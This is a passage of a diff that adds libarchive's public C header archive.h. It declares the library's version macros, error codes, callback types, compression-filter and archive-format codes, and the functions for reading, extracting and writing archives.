form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * $FreeBSD: src/lib/libarchive/archive.h.in,v 1.50 2008/05/26 17:00:22 kientzle Exp $ + */ + +#ifndef ARCHIVE_H_INCLUDED +#define ARCHIVE_H_INCLUDED + +/* + * The version number is expressed as a single integer that makes it + * easy to compare versions at build time: for version a.b.c, the + * version number is printf("%d%03d%03d",a,b,c). For example, if you + * know your application requires version 2.12.108 or later, you can + * assert that ARCHIVE_VERSION_NUMBER >= 2012108. + */ +/* Note: Compiler will complain if this does not match archive_entry.h! */ +#define ARCHIVE_VERSION_NUMBER 3006002 + +#include +#include /* for wchar_t */ +#include /* For FILE * */ +#include /* For time_t */ + +/* + * Note: archive.h is for use outside of libarchive; the configuration + * headers (config.h, archive_platform.h, etc.) are purely internal. + * Do NOT use HAVE_XXX configuration macros to control the behavior of + * this header! If you must conditionalize, use predefined compiler and/or + * platform macros. + */ +#if defined(__BORLANDC__) && __BORLANDC__ >= 0x560 +# include +#elif !defined(__WATCOMC__) && !defined(_MSC_VER) && !defined(__INTERIX) && !defined(__BORLANDC__) && !defined(_SCO_DS) && !defined(__osf__) && !defined(__CLANG_INTTYPES_H) +# include +#endif + +/* Get appropriate definitions of 64-bit integer */ +#if !defined(__LA_INT64_T_DEFINED) +/* Older code relied on the __LA_INT64_T macro; after 4.0 we'll switch to the typedef exclusively. */ +# if ARCHIVE_VERSION_NUMBER < 4000000 +#define __LA_INT64_T la_int64_t +# endif +#define __LA_INT64_T_DEFINED +# if defined(_WIN32) && !defined(__CYGWIN__) && !defined(__WATCOMC__) +typedef __int64 la_int64_t; +# else +# include /* ssize_t */ +# if defined(_SCO_DS) || defined(__osf__) +typedef long long la_int64_t; +# else +typedef int64_t la_int64_t; +# endif +# endif +#endif + +/* The la_ssize_t should match the type used in 'struct stat' */ +#if !defined(__LA_SSIZE_T_DEFINED) +/* Older code relied on the __LA_SSIZE_T macro; after 4.0 we'll switch to the typedef exclusively. */ +# if ARCHIVE_VERSION_NUMBER < 4000000 +#define __LA_SSIZE_T la_ssize_t +# endif +#define __LA_SSIZE_T_DEFINED +# if defined(_WIN32) && !defined(__CYGWIN__) && !defined(__WATCOMC__) +# if defined(_SSIZE_T_DEFINED) || defined(_SSIZE_T_) +typedef ssize_t la_ssize_t; +# elif defined(_WIN64) +typedef __int64 la_ssize_t; +# else +typedef long la_ssize_t; +# endif +# else +# include /* ssize_t */ +typedef ssize_t la_ssize_t; +# endif +#endif + +/* Large file support for Android */ +#if defined(__LIBARCHIVE_BUILD) && defined(__ANDROID__) +#include "android_lf.h" +#endif + +/* + * On Windows, define LIBARCHIVE_STATIC if you're building or using a + * .lib. The default here assumes you're building a DLL. Only + * libarchive source should ever define __LIBARCHIVE_BUILD. + */ +#if ((defined __WIN32__) || (defined _WIN32) || defined(__CYGWIN__)) && (!defined LIBARCHIVE_STATIC) +# ifdef __LIBARCHIVE_BUILD +# ifdef __GNUC__ +# define __LA_DECL __attribute__((dllexport)) extern +# else +# define __LA_DECL __declspec(dllexport) +# endif +# else +# ifdef __GNUC__ +# define __LA_DECL +# else +# define __LA_DECL __declspec(dllimport) +# endif +# endif +#else +/* Static libraries or non-Windows needs no special declaration. */ +# define __LA_DECL +#endif + +#if defined(__GNUC__) && __GNUC__ >= 3 && !defined(__MINGW32__) +#define __LA_PRINTF(fmtarg, firstvararg) \ + __attribute__((__format__ (__printf__, fmtarg, firstvararg))) +#else +#define __LA_PRINTF(fmtarg, firstvararg) /* nothing */ +#endif + +#if defined(__GNUC__) && __GNUC__ >= 3 && __GNUC_MINOR__ >= 1 +# define __LA_DEPRECATED __attribute__((deprecated)) +#else +# define __LA_DEPRECATED +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +/* + * The version number is provided as both a macro and a function. + * The macro identifies the installed header; the function identifies + * the library version (which may not be the same if you're using a + * dynamically-linked version of the library). Of course, if the + * header and library are very different, you should expect some + * strangeness. Don't do that. + */ +__LA_DECL int archive_version_number(void); + +/* + * Textual name/version of the library, useful for version displays. + */ +#define ARCHIVE_VERSION_ONLY_STRING "3.6.2dev" +#define ARCHIVE_VERSION_STRING "libarchive " ARCHIVE_VERSION_ONLY_STRING +__LA_DECL const char * archive_version_string(void); + +/* + * Detailed textual name/version of the library and its dependencies. + * This has the form: + * "libarchive x.y.z zlib/a.b.c liblzma/d.e.f ... etc ..." + * the list of libraries described here will vary depending on how + * libarchive was compiled. + */ +__LA_DECL const char * archive_version_details(void); + +/* + * Returns NULL if libarchive was compiled without the associated library. + * Otherwise, returns the version number that libarchive was compiled + * against. + */ +__LA_DECL const char * archive_zlib_version(void); +__LA_DECL const char * archive_liblzma_version(void); +__LA_DECL const char * archive_bzlib_version(void); +__LA_DECL const char * archive_liblz4_version(void); +__LA_DECL const char * archive_libzstd_version(void); + +/* Declare our basic types. */ +struct archive; +struct archive_entry; + +/* + * Error codes: Use archive_errno() and archive_error_string() + * to retrieve details. Unless specified otherwise, all functions + * that return 'int' use these codes. + */ +#define ARCHIVE_EOF 1 /* Found end of archive. */ +#define ARCHIVE_OK 0 /* Operation was successful. */ +#define ARCHIVE_RETRY (-10) /* Retry might succeed. */ +#define ARCHIVE_WARN (-20) /* Partial success. */ +/* For example, if write_header "fails", then you can't push data. */ +#define ARCHIVE_FAILED (-25) /* Current operation cannot complete. */ +/* But if write_header is "fatal," then this archive is dead and useless. */ +#define ARCHIVE_FATAL (-30) /* No more operations are possible. */ + +/* + * As far as possible, archive_errno returns standard platform errno codes. + * Of course, the details vary by platform, so the actual definitions + * here are stored in "archive_platform.h". The symbols are listed here + * for reference; as a rule, clients should not need to know the exact + * platform-dependent error code. + */ +/* Unrecognized or invalid file format. */ +/* #define ARCHIVE_ERRNO_FILE_FORMAT */ +/* Illegal usage of the library. */ +/* #define ARCHIVE_ERRNO_PROGRAMMER_ERROR */ +/* Unknown or unclassified error. */ +/* #define ARCHIVE_ERRNO_MISC */ + +/* + * Callbacks are invoked to automatically read/skip/write/open/close the + * archive. You can provide your own for complex tasks (like breaking + * archives across multiple tapes) or use standard ones built into the + * library. + */ + +/* Returns pointer and size of next block of data from archive. */ +typedef la_ssize_t archive_read_callback(struct archive *, + void *_client_data, const void **_buffer); + +/* Skips at most request bytes from archive and returns the skipped amount. + * This may skip fewer bytes than requested; it may even skip zero bytes. + * If you do skip fewer bytes than requested, libarchive will invoke your + * read callback and discard data as necessary to make up the full skip. + */ +typedef la_int64_t archive_skip_callback(struct archive *, + void *_client_data, la_int64_t request); + +/* Seeks to specified location in the file and returns the position. + * Whence values are SEEK_SET, SEEK_CUR, SEEK_END from stdio.h. + * Return ARCHIVE_FATAL if the seek fails for any reason. + */ +typedef la_int64_t archive_seek_callback(struct archive *, + void *_client_data, la_int64_t offset, int whence); + +/* Returns size actually written, zero on EOF, -1 on error. */ +typedef la_ssize_t archive_write_callback(struct archive *, + void *_client_data, + const void *_buffer, size_t _length); + +typedef int archive_open_callback(struct archive *, void *_client_data); + +typedef int archive_close_callback(struct archive *, void *_client_data); + +typedef int archive_free_callback(struct archive *, void *_client_data); + +/* Switches from one client data object to the next/prev client data object. + * This is useful for reading from different data blocks such as a set of files + * that make up one large file. + */ +typedef int archive_switch_callback(struct archive *, void *_client_data1, + void *_client_data2); + +/* + * Returns a passphrase used for encryption or decryption, NULL on nothing + * to do and give it up. + */ +typedef const char *archive_passphrase_callback(struct archive *, + void *_client_data); + +/* + * Codes to identify various stream filters. + */ +#define ARCHIVE_FILTER_NONE 0 +#define ARCHIVE_FILTER_GZIP 1 +#define ARCHIVE_FILTER_BZIP2 2 +#define ARCHIVE_FILTER_COMPRESS 3 +#define ARCHIVE_FILTER_PROGRAM 4 +#define ARCHIVE_FILTER_LZMA 5 +#define ARCHIVE_FILTER_XZ 6 +#define ARCHIVE_FILTER_UU 7 +#define ARCHIVE_FILTER_RPM 8 +#define ARCHIVE_FILTER_LZIP 9 +#define ARCHIVE_FILTER_LRZIP 10 +#define ARCHIVE_FILTER_LZOP 11 +#define ARCHIVE_FILTER_GRZIP 12 +#define ARCHIVE_FILTER_LZ4 13 +#define ARCHIVE_FILTER_ZSTD 14 + +#if ARCHIVE_VERSION_NUMBER < 4000000 +#define ARCHIVE_COMPRESSION_NONE ARCHIVE_FILTER_NONE +#define ARCHIVE_COMPRESSION_GZIP ARCHIVE_FILTER_GZIP +#define ARCHIVE_COMPRESSION_BZIP2 ARCHIVE_FILTER_BZIP2 +#define ARCHIVE_COMPRESSION_COMPRESS ARCHIVE_FILTER_COMPRESS +#define ARCHIVE_COMPRESSION_PROGRAM ARCHIVE_FILTER_PROGRAM +#define ARCHIVE_COMPRESSION_LZMA ARCHIVE_FILTER_LZMA +#define ARCHIVE_COMPRESSION_XZ ARCHIVE_FILTER_XZ +#define ARCHIVE_COMPRESSION_UU ARCHIVE_FILTER_UU +#define ARCHIVE_COMPRESSION_RPM ARCHIVE_FILTER_RPM +#define ARCHIVE_COMPRESSION_LZIP ARCHIVE_FILTER_LZIP +#define ARCHIVE_COMPRESSION_LRZIP ARCHIVE_FILTER_LRZIP +#endif + +/* + * Codes returned by archive_format. + * + * Top 16 bits identifies the format family (e.g., "tar"); lower + * 16 bits indicate the variant. This is updated by read_next_header. + * Note that the lower 16 bits will often vary from entry to entry. + * In some cases, this variation occurs as libarchive learns more about + * the archive (for example, later entries might utilize extensions that + * weren't necessary earlier in the archive; in this case, libarchive + * will change the format code to indicate the extended format that + * was used). In other cases, it's because different tools have + * modified the archive and so different parts of the archive + * actually have slightly different formats. (Both tar and cpio store + * format codes in each entry, so it is quite possible for each + * entry to be in a different format.) + */ +#define ARCHIVE_FORMAT_BASE_MASK 0xff0000 +#define ARCHIVE_FORMAT_CPIO 0x10000 +#define ARCHIVE_FORMAT_CPIO_POSIX (ARCHIVE_FORMAT_CPIO | 1) +#define ARCHIVE_FORMAT_CPIO_BIN_LE (ARCHIVE_FORMAT_CPIO | 2) +#define ARCHIVE_FORMAT_CPIO_BIN_BE (ARCHIVE_FORMAT_CPIO | 3) +#define ARCHIVE_FORMAT_CPIO_SVR4_NOCRC (ARCHIVE_FORMAT_CPIO | 4) +#define ARCHIVE_FORMAT_CPIO_SVR4_CRC (ARCHIVE_FORMAT_CPIO | 5) +#define ARCHIVE_FORMAT_CPIO_AFIO_LARGE (ARCHIVE_FORMAT_CPIO | 6) +#define ARCHIVE_FORMAT_CPIO_PWB (ARCHIVE_FORMAT_CPIO | 7) +#define ARCHIVE_FORMAT_SHAR 0x20000 +#define ARCHIVE_FORMAT_SHAR_BASE (ARCHIVE_FORMAT_SHAR | 1) +#define ARCHIVE_FORMAT_SHAR_DUMP (ARCHIVE_FORMAT_SHAR | 2) +#define ARCHIVE_FORMAT_TAR 0x30000 +#define ARCHIVE_FORMAT_TAR_USTAR (ARCHIVE_FORMAT_TAR | 1) +#define ARCHIVE_FORMAT_TAR_PAX_INTERCHANGE (ARCHIVE_FORMAT_TAR | 2) +#define ARCHIVE_FORMAT_TAR_PAX_RESTRICTED (ARCHIVE_FORMAT_TAR | 3) +#define ARCHIVE_FORMAT_TAR_GNUTAR (ARCHIVE_FORMAT_TAR | 4) +#define ARCHIVE_FORMAT_ISO9660 0x40000 +#define ARCHIVE_FORMAT_ISO9660_ROCKRIDGE (ARCHIVE_FORMAT_ISO9660 | 1) +#define ARCHIVE_FORMAT_ZIP 0x50000 +#define ARCHIVE_FORMAT_EMPTY 0x60000 +#define ARCHIVE_FORMAT_AR 0x70000 +#define ARCHIVE_FORMAT_AR_GNU (ARCHIVE_FORMAT_AR | 1) +#define ARCHIVE_FORMAT_AR_BSD (ARCHIVE_FORMAT_AR | 2) +#define ARCHIVE_FORMAT_MTREE 0x80000 +#define ARCHIVE_FORMAT_RAW 0x90000 +#define ARCHIVE_FORMAT_XAR 0xA0000 +#define ARCHIVE_FORMAT_LHA 0xB0000 +#define ARCHIVE_FORMAT_CAB 0xC0000 +#define ARCHIVE_FORMAT_RAR 0xD0000 +#define ARCHIVE_FORMAT_7ZIP 0xE0000 +#define ARCHIVE_FORMAT_WARC 0xF0000 +#define ARCHIVE_FORMAT_RAR_V5 0x100000 + +/* + * Codes returned by archive_read_format_capabilities(). + * + * This list can be extended with values between 0 and 0xffff. + * The original purpose of this list was to let different archive + * format readers expose their general capabilities in terms of + * encryption. + */ +#define ARCHIVE_READ_FORMAT_CAPS_NONE (0) /* no special capabilities */ +#define ARCHIVE_READ_FORMAT_CAPS_ENCRYPT_DATA (1<<0) /* reader can detect encrypted data */ +#define ARCHIVE_READ_FORMAT_CAPS_ENCRYPT_METADATA (1<<1) /* reader can detect encryptable metadata (pathname, mtime, etc.) */ + +/* + * Codes returned by archive_read_has_encrypted_entries(). + * + * In case the archive does not support encryption detection at all + * ARCHIVE_READ_FORMAT_ENCRYPTION_UNSUPPORTED is returned. If the reader + * for some other reason (e.g. not enough bytes read) cannot say if + * there are encrypted entries, ARCHIVE_READ_FORMAT_ENCRYPTION_DONT_KNOW + * is returned. + */ +#define ARCHIVE_READ_FORMAT_ENCRYPTION_UNSUPPORTED -2 +#define ARCHIVE_READ_FORMAT_ENCRYPTION_DONT_KNOW -1 + +/*- + * Basic outline for reading an archive: + * 1) Ask archive_read_new for an archive reader object. + * 2) Update any global properties as appropriate. + * In particular, you'll certainly want to call appropriate + * archive_read_support_XXX functions. + * 3) Call archive_read_open_XXX to open the archive + * 4) Repeatedly call archive_read_next_header to get information about + * successive archive entries. Call archive_read_data to extract + * data for entries of interest. + * 5) Call archive_read_free to end processing. + */ +__LA_DECL struct archive *archive_read_new(void); + +/* + * The archive_read_support_XXX calls enable auto-detect for this + * archive handle. They also link in the necessary support code. + * For example, if you don't want bzlib linked in, don't invoke + * support_compression_bzip2(). The "all" functions provide the + * obvious shorthand. + */ + +#if ARCHIVE_VERSION_NUMBER < 4000000 +__LA_DECL int archive_read_support_compression_all(struct archive *) + __LA_DEPRECATED; +__LA_DECL int archive_read_support_compression_bzip2(struct archive *) + __LA_DEPRECATED; +__LA_DECL int archive_read_support_compression_compress(struct archive *) + __LA_DEPRECATED; +__LA_DECL int archive_read_support_compression_gzip(struct archive *) + __LA_DEPRECATED; +__LA_DECL int archive_read_support_compression_lzip(struct archive *) + __LA_DEPRECATED; +__LA_DECL int archive_read_support_compression_lzma(struct archive *) + __LA_DEPRECATED; +__LA_DECL int archive_read_support_compression_none(struct archive *) + __LA_DEPRECATED; +__LA_DECL int archive_read_support_compression_program(struct archive *, + const char *command) __LA_DEPRECATED; +__LA_DECL int archive_read_support_compression_program_signature + (struct archive *, const char *, + const void * /* match */, size_t) __LA_DEPRECATED; + +__LA_DECL int archive_read_support_compression_rpm(struct archive *) + __LA_DEPRECATED; +__LA_DECL int archive_read_support_compression_uu(struct archive *) + __LA_DEPRECATED; +__LA_DECL int archive_read_support_compression_xz(struct archive *) + __LA_DEPRECATED; +#endif + +__LA_DECL int archive_read_support_filter_all(struct archive *); +__LA_DECL int archive_read_support_filter_by_code(struct archive *, int); +__LA_DECL int archive_read_support_filter_bzip2(struct archive *); +__LA_DECL int archive_read_support_filter_compress(struct archive *); +__LA_DECL int archive_read_support_filter_gzip(struct archive *); +__LA_DECL int archive_read_support_filter_grzip(struct archive *); +__LA_DECL int archive_read_support_filter_lrzip(struct archive *); +__LA_DECL int archive_read_support_filter_lz4(struct archive *); +__LA_DECL int archive_read_support_filter_lzip(struct archive *); +__LA_DECL int archive_read_support_filter_lzma(struct archive *); +__LA_DECL int archive_read_support_filter_lzop(struct archive *); +__LA_DECL int archive_read_support_filter_none(struct archive *); +__LA_DECL int archive_read_support_filter_program(struct archive *, + const char *command); +__LA_DECL int archive_read_support_filter_program_signature + (struct archive *, const char * /* cmd */, + const void * /* match */, size_t); +__LA_DECL int archive_read_support_filter_rpm(struct archive *); +__LA_DECL int archive_read_support_filter_uu(struct archive *); +__LA_DECL int archive_read_support_filter_xz(struct archive *); +__LA_DECL int archive_read_support_filter_zstd(struct archive *); + +__LA_DECL int archive_read_support_format_7zip(struct archive *); +__LA_DECL int archive_read_support_format_all(struct archive *); +__LA_DECL int archive_read_support_format_ar(struct archive *); +__LA_DECL int archive_read_support_format_by_code(struct archive *, int); +__LA_DECL int archive_read_support_format_cab(struct archive *); +__LA_DECL int archive_read_support_format_cpio(struct archive *); +__LA_DECL int archive_read_support_format_empty(struct archive *); +__LA_DECL int archive_read_support_format_gnutar(struct archive *); +__LA_DECL int archive_read_support_format_iso9660(struct archive *); +__LA_DECL int archive_read_support_format_lha(struct archive *); +__LA_DECL int archive_read_support_format_mtree(struct archive *); +__LA_DECL int archive_read_support_format_rar(struct archive *); +__LA_DECL int archive_read_support_format_rar5(struct archive *); +__LA_DECL int archive_read_support_format_raw(struct archive *); +__LA_DECL int archive_read_support_format_tar(struct archive *); +__LA_DECL int archive_read_support_format_warc(struct archive *); +__LA_DECL int archive_read_support_format_xar(struct archive *); +/* archive_read_support_format_zip() enables both streamable and seekable + * zip readers. */ +__LA_DECL int archive_read_support_format_zip(struct archive *); +/* Reads Zip archives as stream from beginning to end. Doesn't + * correctly handle SFX ZIP files or ZIP archives that have been modified + * in-place. */ +__LA_DECL int archive_read_support_format_zip_streamable(struct archive *); +/* Reads starting from central directory; requires seekable input. */ +__LA_DECL int archive_read_support_format_zip_seekable(struct archive *); + +/* Functions to manually set the format and filters to be used. This is + * useful to bypass the bidding process when the format and filters to use + * is known in advance. + */ +__LA_DECL int archive_read_set_format(struct archive *, int); +__LA_DECL int archive_read_append_filter(struct archive *, int); +__LA_DECL int archive_read_append_filter_program(struct archive *, + const char *); +__LA_DECL int archive_read_append_filter_program_signature + (struct archive *, const char *, const void * /* match */, size_t); + +/* Set various callbacks. */ +__LA_DECL int archive_read_set_open_callback(struct archive *, + archive_open_callback *); +__LA_DECL int archive_read_set_read_callback(struct archive *, + archive_read_callback *); +__LA_DECL int archive_read_set_seek_callback(struct archive *, + archive_seek_callback *); +__LA_DECL int archive_read_set_skip_callback(struct archive *, + archive_skip_callback *); +__LA_DECL int archive_read_set_close_callback(struct archive *, + archive_close_callback *); +/* Callback used to switch between one data object to the next */ +__LA_DECL int archive_read_set_switch_callback(struct archive *, + archive_switch_callback *); + +/* This sets the first data object. */ +__LA_DECL int archive_read_set_callback_data(struct archive *, void *); +/* This sets data object at specified index */ +__LA_DECL int archive_read_set_callback_data2(struct archive *, void *, + unsigned int); +/* This adds a data object at the specified index. */ +__LA_DECL int archive_read_add_callback_data(struct archive *, void *, + unsigned int); +/* This appends a data object to the end of list */ +__LA_DECL int archive_read_append_callback_data(struct archive *, void *); +/* This prepends a data object to the beginning of list */ +__LA_DECL int archive_read_prepend_callback_data(struct archive *, void *); + +/* Opening freezes the callbacks. */ +__LA_DECL int archive_read_open1(struct archive *); + +/* Convenience wrappers around the above. */ +__LA_DECL int archive_read_open(struct archive *, void *_client_data, + archive_open_callback *, archive_read_callback *, + archive_close_callback *); +__LA_DECL int archive_read_open2(struct archive *, void *_client_data, + archive_open_callback *, archive_read_callback *, + archive_skip_callback *, archive_close_callback *); + +/* + * A variety of shortcuts that invoke archive_read_open() with + * canned callbacks suitable for common situations. The ones that + * accept a block size handle tape blocking correctly. + */ +/* Use this if you know the filename. Note: NULL indicates stdin. */ +__LA_DECL int archive_read_open_filename(struct archive *, + const char *_filename, size_t _block_size); +/* Use this for reading multivolume files by filenames. + * NOTE: Must be NULL terminated. Sorting is NOT done. */ +__LA_DECL int archive_read_open_filenames(struct archive *, + const char **_filenames, size_t _block_size); +__LA_DECL int archive_read_open_filename_w(struct archive *, + const wchar_t *_filename, size_t _block_size); +/* archive_read_open_file() is a deprecated synonym for ..._open_filename(). */ +__LA_DECL int archive_read_open_file(struct archive *, + const char *_filename, size_t _block_size) __LA_DEPRECATED; +/* Read an archive that's stored in memory. */ +__LA_DECL int archive_read_open_memory(struct archive *, + const void * buff, size_t size); +/* A more involved version that is only used for internal testing. */ +__LA_DECL int archive_read_open_memory2(struct archive *a, const void *buff, + size_t size, size_t read_size); +/* Read an archive that's already open, using the file descriptor. */ +__LA_DECL int archive_read_open_fd(struct archive *, int _fd, + size_t _block_size); +/* Read an archive that's already open, using a FILE *. */ +/* Note: DO NOT use this with tape drives. */ +__LA_DECL int archive_read_open_FILE(struct archive *, FILE *_file); + +/* Parses and returns next entry header. */ +__LA_DECL int archive_read_next_header(struct archive *, + struct archive_entry **); + +/* Parses and returns next entry header using the archive_entry passed in */ +__LA_DECL int archive_read_next_header2(struct archive *, + struct archive_entry *); + +/* + * Retrieve the byte offset in UNCOMPRESSED data where last-read + * header started. + */ +__LA_DECL la_int64_t archive_read_header_position(struct archive *); + +/* + * Returns 1 if the archive contains at least one encrypted entry. + * If the archive format not support encryption at all + * ARCHIVE_READ_FORMAT_ENCRYPTION_UNSUPPORTED is returned. + * If for any other reason (e.g. not enough data read so far) + * we cannot say whether there are encrypted entries, then + * ARCHIVE_READ_FORMAT_ENCRYPTION_DONT_KNOW is returned. + * In general, this function will return values below zero when the + * reader is uncertain or totally incapable of encryption support. + * When this function returns 0 you can be sure that the reader + * supports encryption detection but no encrypted entries have + * been found yet. + * + * NOTE: If the metadata/header of an archive is also encrypted, you + * cannot rely on the number of encrypted entries. That is why this + * function does not return the number of encrypted entries but# + * just shows that there are some. + */ +__LA_DECL int archive_read_has_encrypted_entries(struct archive *); + +/* + * Returns a bitmask of capabilities that are supported by the archive format reader. + * If the reader has no special capabilities, ARCHIVE_READ_FORMAT_CAPS_NONE is returned. + */ +__LA_DECL int archive_read_format_capabilities(struct archive *); + +/* Read data from the body of an entry. Similar to read(2). */ +__LA_DECL la_ssize_t archive_read_data(struct archive *, + void *, size_t); + +/* Seek within the body of an entry. Similar to lseek(2). */ +__LA_DECL la_int64_t archive_seek_data(struct archive *, la_int64_t, int); + +/* + * A zero-copy version of archive_read_data that also exposes the file offset + * of each returned block. Note that the client has no way to specify + * the desired size of the block. The API does guarantee that offsets will + * be strictly increasing and that returned blocks will not overlap. + */ +__LA_DECL int archive_read_data_block(struct archive *a, + const void **buff, size_t *size, la_int64_t *offset); + +/*- + * Some convenience functions that are built on archive_read_data: + * 'skip': skips entire entry + * 'into_buffer': writes data into memory buffer that you provide + * 'into_fd': writes data to specified filedes + */ +__LA_DECL int archive_read_data_skip(struct archive *); +__LA_DECL int archive_read_data_into_fd(struct archive *, int fd); + +/* + * Set read options. + */ +/* Apply option to the format only. */ +__LA_DECL int archive_read_set_format_option(struct archive *_a, + const char *m, const char *o, + const char *v); +/* Apply option to the filter only. */ +__LA_DECL int archive_read_set_filter_option(struct archive *_a, + const char *m, const char *o, + const char *v); +/* Apply option to both the format and the filter. */ +__LA_DECL int archive_read_set_option(struct archive *_a, + const char *m, const char *o, + const char *v); +/* Apply option string to both the format and the filter. */ +__LA_DECL int archive_read_set_options(struct archive *_a, + const char *opts); + +/* + * Add a decryption passphrase. + */ +__LA_DECL int archive_read_add_passphrase(struct archive *, const char *); +__LA_DECL int archive_read_set_passphrase_callback(struct archive *, + void *client_data, archive_passphrase_callback *); + + +/*- + * Convenience function to recreate the current entry (whose header + * has just been read) on disk. + * + * This does quite a bit more than just copy data to disk. It also: + * - Creates intermediate directories as required. + * - Manages directory permissions: non-writable directories will + * be initially created with write permission enabled; when the + * archive is closed, dir permissions are edited to the values specified + * in the archive. + * - Checks hardlinks: hardlinks will not be extracted unless the + * linked-to file was also extracted within the same session. (TODO) + */ + +/* The "flags" argument selects optional behavior, 'OR' the flags you want. */ + +/* Default: Do not try to set owner/group. */ +#define ARCHIVE_EXTRACT_OWNER (0x0001) +/* Default: Do obey umask, do not restore SUID/SGID/SVTX bits. */ +#define ARCHIVE_EXTRACT_PERM (0x0002) +/* Default: Do not restore mtime/atime. */ +#define ARCHIVE_EXTRACT_TIME (0x0004) +/* Default: Replace existing files. */ +#define ARCHIVE_EXTRACT_NO_OVERWRITE (0x0008) +/* Default: Try create first, unlink only if create fails with EEXIST. */ +#define ARCHIVE_EXTRACT_UNLINK (0x0010) +/* Default: Do not restore ACLs. */ +#define ARCHIVE_EXTRACT_ACL (0x0020) +/* Default: Do not restore fflags. */ +#define ARCHIVE_EXTRACT_FFLAGS (0x0040) +/* Default: Do not restore xattrs. */ +#define ARCHIVE_EXTRACT_XATTR (0x0080) +/* Default: Do not try to guard against extracts redirected by symlinks. */ +/* Note: With ARCHIVE_EXTRACT_UNLINK, will remove any intermediate symlink. */ +#define ARCHIVE_EXTRACT_SECURE_SYMLINKS (0x0100) +/* Default: Do not reject entries with '..' as path elements. */ +#define ARCHIVE_EXTRACT_SECURE_NODOTDOT (0x0200) +/* Default: Create parent directories as needed. */ +#define ARCHIVE_EXTRACT_NO_AUTODIR (0x0400) +/* Default: Overwrite files, even if one on disk is newer. */ +#define ARCHIVE_EXTRACT_NO_OVERWRITE_NEWER (0x0800) +/* Detect blocks of 0 and write holes instead. */ +#define ARCHIVE_EXTRACT_SPARSE (0x1000) +/* Default: Do not restore Mac extended metadata. */ +/* This has no effect except on Mac OS. */ +#define ARCHIVE_EXTRACT_MAC_METADATA (0x2000) +/* Default: Use HFS+ compression if it was compressed. */ +/* This has no effect except on Mac OS v10.6 or later. */ +#define ARCHIVE_EXTRACT_NO_HFS_COMPRESSION (0x4000) +/* Default: Do not use HFS+ compression if it was not compressed. */ +/* This has no effect except on Mac OS v10.6 or later. */ +#define ARCHIVE_EXTRACT_HFS_COMPRESSION_FORCED (0x8000) +/* Default: Do not reject entries with absolute paths */ +#define ARCHIVE_EXTRACT_SECURE_NOABSOLUTEPATHS (0x10000) +/* Default: Do not clear no-change flags when unlinking object */ +#define ARCHIVE_EXTRACT_CLEAR_NOCHANGE_FFLAGS (0x20000) +/* Default: Do not extract atomically (using rename) */ +#define ARCHIVE_EXTRACT_SAFE_WRITES (0x40000) + +__LA_DECL int archive_read_extract(struct archive *, struct archive_entry *, + int flags); +__LA_DECL int archive_read_extract2(struct archive *, struct archive_entry *, + struct archive * /* dest */); +__LA_DECL void archive_read_extract_set_progress_callback(struct archive *, + void (*_progress_func)(void *), void *_user_data); + +/* Record the dev/ino of a file that will not be written. This is + * generally set to the dev/ino of the archive being read. */ +__LA_DECL void archive_read_extract_set_skip_file(struct archive *, + la_int64_t, la_int64_t); + +/* Close the file and release most resources. */ +__LA_DECL int archive_read_close(struct archive *); +/* Release all resources and destroy the object. */ +/* Note that archive_read_free will call archive_read_close for you. */ +__LA_DECL int archive_read_free(struct archive *); +#if ARCHIVE_VERSION_NUMBER < 4000000 +/* Synonym for archive_read_free() for backwards compatibility. */ +__LA_DECL int archive_read_finish(struct archive *) __LA_DEPRECATED; +#endif + +/*- + * To create an archive: + * 1) Ask archive_write_new for an archive writer object. + * 2) Set any global properties. In particular, you should set + * the compression and format to use. + * 3) Call archive_write_open to open the file (most people + * will use archive_write_open_file or archive_write_open_fd, + * which provide convenient canned I/O callbacks for you). + * 4) For each entry: + * - construct an appropriate struct archive_entry structure + * - archive_write_header to write the header + * - archive_write_data to write the entry data + * 5) archive_write_close to close the output + * 6) archive_write_free to cleanup the writer and release resources + */ +__LA_DECL struct archive *archive_write_new(void); +__LA_DECL int archive_write_set_bytes_per_block(struct archive *, + int bytes_per_block); +__LA_DECL int archive_write_get_bytes_per_block(struct archive *); +/* XXX This is badly misnamed; suggestions appreciated. XXX */ +__LA_DECL int archive_write_set_bytes_in_last_block(struct archive *, + int bytes_in_last_block); +__LA_DECL int archive_write_get_bytes_in_last_block(struct archive *); + +/* The dev/ino of a file that won't be archived. This is used + * to avoid recursively adding an archive to itself. */ +__LA_DECL int archive_write_set_skip_file(struct archive *, + la_int64_t, la_int64_t); + +#if ARCHIVE_VERSION_NUMBER < 4000000 +__LA_DECL int archive_write_set_compression_bzip2(struct archive *) + __LA_DEPRECATED; +__LA_DECL int archive_write_set_compression_compress(struct archive *) + __LA_DEPRECATED; +__LA_DECL int archive_write_set_compression_gzip(struct archive *) + __LA_DEPRECATED; +__LA_DECL int archive_write_set_compression_lzip(struct archive *) + __LA_DEPRECATED; +__LA_DECL int archive_write_set_compression_lzma(struct archive *) + __LA_DEPRECATED; +__LA_DECL int archive_write_set_compression_none(struct archive *) + __LA_DEPRECATED; +__LA_DECL int archive_write_set_compression_program(struct archive *, + const char *cmd) __LA_DEPRECATED; +__LA_DECL int archive_write_set_compression_xz(struct archive *) + __LA_DEPRECATED; +#endif + +/* A convenience function to set the filter based on the code. */ +__LA_DECL int archive_write_add_filter(struct archive *, int filter_code); +__LA_DECL int archive_write_add_filter_by_name(struct archive *, + const char *name); +__LA_DECL int archive_write_add_filter_b64encode(struct archive *); +__LA_DECL int archive_write_add_filter_bzip2(struct archive *); +__LA_DECL int 